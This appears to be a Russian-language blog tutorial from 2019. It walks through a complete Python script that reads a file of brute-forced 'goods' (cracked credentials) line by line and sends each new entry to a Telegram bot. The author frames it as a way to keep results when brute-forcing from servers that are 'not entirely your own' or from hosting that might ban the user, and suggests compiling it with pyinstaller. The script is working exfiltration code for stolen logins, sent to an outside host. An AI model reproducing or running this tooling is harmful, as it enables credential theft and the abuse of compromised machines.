March 15, 2019

Отстук гудов с брута в телеграм с помощью Python.

Думаю есть люди которые занимаются брутом чего либо на своих или не совсем своих серверах. Если хостинг не абузоустойчивый то можно получить бан и потерять весь файл Гудов. Поэтому сегодня мы будем писать скрипт который будет отправлять нам каждую новую строку из файла с гудами в телеграм через бота. Начнём с импотра всего необходимого.

import requests
import json

Теперь можем перейти к некоторым настройкам. Мы бы могли вносить данные токена и айди человека которому будут лететь гуды прямо в скрипт, но, тогда мы усложним себе задачу на тех машинах на которых нет питона. Поэтому мы создадим конфигурационный файл в формате json. Что бы прочесть с него информацию используем цикл with

with open('settings.json') as f:
    data = json.load(f)

Вот так будет выглядеть структура json файла. ("file": "НАЗВАНИЕ ФАЙЛА")

Далее проверим всё ли корректно отображается

print("your id: " + str(data["id"]))
print("your token: " + str(data["token"]))

Затем мы сделаем немного штрихов для нашего удобства.

token = data["token"]
URL = "https://api.telegram.org/bot" + token + "/"

Затем напишем функцию отправки сообщения на get запросе.

def send_message(chat_id, text="Good..."):
	url = URL + "sendmessage?chat_id={}&text={}&parse_mode=HTML".format(chat_id, text)
	requests.get(url)

В данную функцию мы будем передавать чат айди и сам текс.

Теперь нам осталось сделать лишь цикл который будет проверять новые строки.

f = data["file"] + ".txt"
a = open(f, "r")
arr = []
while True:
	for line in a:
		arr.append(line)
		send_message(data["id"], str(arr[-1]))
		print("Sending to Telegram: " + arr[-1])

Итак, сначала мы обозначаем файл, затем открываем его для чтения, создаём пустой массив и начинаем цикл добавления каждой строки в массив, соответственно каждая новая строка будет последним элементом в массиве, поэтому мы можем отправлять её.

Так же вы можете улучшить данный скрипт путём добавления диалогового окна с просьбой ввести токен, айди и путь до файла или его название. На данный момент скрипт с настройками необходимо кидать к файлу откуда он должен брать гуды. Так же можно сделать из обычного python скрипта исполняемый файл по средствам pyinstaller.

Полный листинг программы:

import requests
import json


with open('settings.json') as f:
    data = json.load(f)


print("your id: " + str(data["id"]))
print("your token: " + str(data["token"]))


token = data["token"]
URL = "https://api.telegram.org/bot" + token + "/"



def send_message(chat_id, text="Good..."):
	url = URL + "sendmessage?chat_id={}&text={}&parse_mode=HTML".format(chat_id, text)
	requests.get(url)



f = data["file"] + ".txt"
a = open(f, "r")
arr = []
while True:
	for line in a:
		arr.append(line)
		send_message(data["id"], str(arr[-1]))
		print("Sending to Telegram: " + arr[-1])
Мой код не идеален, вы можете его улучшить и модернизировать.